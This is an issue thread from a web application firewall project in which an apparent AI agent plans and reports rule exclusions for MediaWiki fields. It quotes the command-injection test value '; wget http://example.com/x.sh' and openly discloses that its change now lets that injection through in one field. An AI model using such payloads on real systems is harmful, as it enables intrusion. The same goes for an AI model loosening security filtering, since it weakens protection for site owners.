Core Rule Set: MediaWiki's ordinary requests still refused on other fields #258

Open
opened 2026-11-09 22:43:36 +01:00 by clawbot · 3 comments
Collaborator

Follow-up to #251, under #212. The review at #251 (comment) found these ordinary MediaWiki requests still refused. Start after that PR lands.

Definition of done:

  • At the defaults, letitle on /api.php (list=logevents) passes with a title such as Python3 notes.
  • While bodies are read, wpTitles on Special:EditWatchlist/raw passes with titles such as Python3 notes.
  • Each is built by the plan at #212 (comment) and its addition at #212 (comment): recorded from MediaWiki 1.46.2 at the digest named in that PR, removing on each field only the rules its recorded values set off. Attacks stay refused, command injection included.
  • make check passes.

Model: opus-5-5

Follow-up to https://git.eeqj.de/sneak/smallwebwaf/pulls/251, under https://git.eeqj.de/sneak/smallwebwaf/issues/212. The review at https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-172919 found these ordinary MediaWiki requests still refused. Start after that PR lands. **Definition of done:** - At the defaults, `letitle` on `/api.php` (`list=logevents`) passes with a title such as `Python3 notes`. - While bodies are read, `wpTitles` on `Special:EditWatchlist/raw` passes with titles such as `Python3 notes`. - Each is built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: recorded from MediaWiki 1.46.2 at the digest named in that PR, removing on each field only the rules its recorded values set off. Attacks stay refused, command injection included. - `make check` passes. Model: opus-5-5
clawbot self-assigned this 2026-11-09 22:43:36 +01:00
Author
Collaborator

Addition to the definition of done, from the review at #251 (comment): at the defaults, the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery on /api.php pass with hard values, for example generator=allpages&gapprefix=python3. Same plan and tests as the fields above. #251 has landed, so this can start.

Model: opus-5-5

**Addition to the definition of done**, from the review at https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-173189: at the defaults, the generator fields `gapto`, `gapprefix`, `gaifrom`, `gaiprefix` and `geuquery` on `/api.php` pass with hard values, for example `generator=allpages&gapprefix=python3`. Same plan and tests as the fields above. https://git.eeqj.de/sneak/smallwebwaf/pulls/251 has landed, so this can start. Model: opus-5-5
Author
Collaborator

Plan. #251 has landed, so this starts from current next. The definition of done is this issue's body plus #258 (comment).

  • Where: internal/coreruleset: mediawiki.conf, testdata/mediawiki-requests.txt and mediawiki_test.go. No new file.
  • Recording: MediaWiki 1.46.2 at the digest named in #251, in Docker on this host: letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery on /api.php, and wpTitles on Special:EditWatchlist/raw, each with plain words and with python3, powershell, ls -la and .htaccess. Remove every container you start; stay under 3 GiB of RAM.
  • Exclusions: add each field to the existing lists in mediawiki.conf, removing only the rules its recorded values set off. Each goes into mediawikiQueryFields or mediawikiBodyFields, so the hard-value, attack and ; wget http://example.com/x.sh tests cover it. Every rule stays phase 1.
  • SWW_APPS: #225 waits on sneak. If it lands first, keep the new exclusions inside MediaWiki's section, before END_MEDIAWIKI.
  • Docs: SPEC.md's MediaWiki section names the new fields as nested bullets; the PR body, under about 250 words, names them and says an ordinary request on another field can still be refused.

make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.

Model: opus-5-5

**Plan.** https://git.eeqj.de/sneak/smallwebwaf/pulls/251 has landed, so this starts from current `next`. The definition of done is this issue's body plus https://git.eeqj.de/sneak/smallwebwaf/issues/258#issuecomment-173220. - **Where:** `internal/coreruleset`: `mediawiki.conf`, `testdata/mediawiki-requests.txt` and `mediawiki_test.go`. No new file. - **Recording:** MediaWiki 1.46.2 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/251, in Docker on this host: `letitle` and the generator fields `gapto`, `gapprefix`, `gaifrom`, `gaiprefix` and `geuquery` on `/api.php`, and `wpTitles` on `Special:EditWatchlist/raw`, each with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`. Remove every container you start; stay under 3 GiB of RAM. - **Exclusions:** add each field to the existing lists in `mediawiki.conf`, removing only the rules its recorded values set off. Each goes into `mediawikiQueryFields` or `mediawikiBodyFields`, so the hard-value, attack and `; wget http://example.com/x.sh` tests cover it. Every rule stays phase 1. - **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it lands first, keep the new exclusions inside MediaWiki's section, before `END_MEDIAWIKI`. - **Docs:** `SPEC.md`'s MediaWiki section names the new fields as nested bullets; the PR body, under about 250 words, names them and says an ordinary request on another field can still be refused. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`. Model: opus-5-5
Author
Collaborator

Built in #265. letitle and the five generator fields skip the four usual rules on /api.php. wpTitles skips those four plus 932125, 932230, 932235 and 932380.

Deviation from the definition of done (command injection stays refused): ; wget http://example.com/x.sh now passes in wpTitles. The only rules that refuse it there are 932235 and 932260, and both also refuse the recorded watchlist Lighthouse notes then Python3 notes on separate lines. Commands with $(...) or /bin/sh are still refused in wpTitles. If that trade is not acceptable, the alternative is to leave wpTitles unexcluded, which keeps the watchlist request refused.

Model: opus-5-5

Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/265. `letitle` and the five generator fields skip the four usual rules on `/api.php`. `wpTitles` skips those four plus 932125, 932230, 932235 and 932380. **Deviation from the definition of done (command injection stays refused):** `; wget http://example.com/x.sh` now passes in `wpTitles`. The only rules that refuse it there are 932235 and 932260, and both also refuse the recorded watchlist `Lighthouse notes` then `Python3 notes` on separate lines. Commands with `$(...)` or `/bin/sh` are still refused in `wpTitles`. If that trade is not acceptable, the alternative is to leave `wpTitles` unexcluded, which keeps the watchlist request refused. Model: opus-5-5
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: sneak/smallwebwaf#258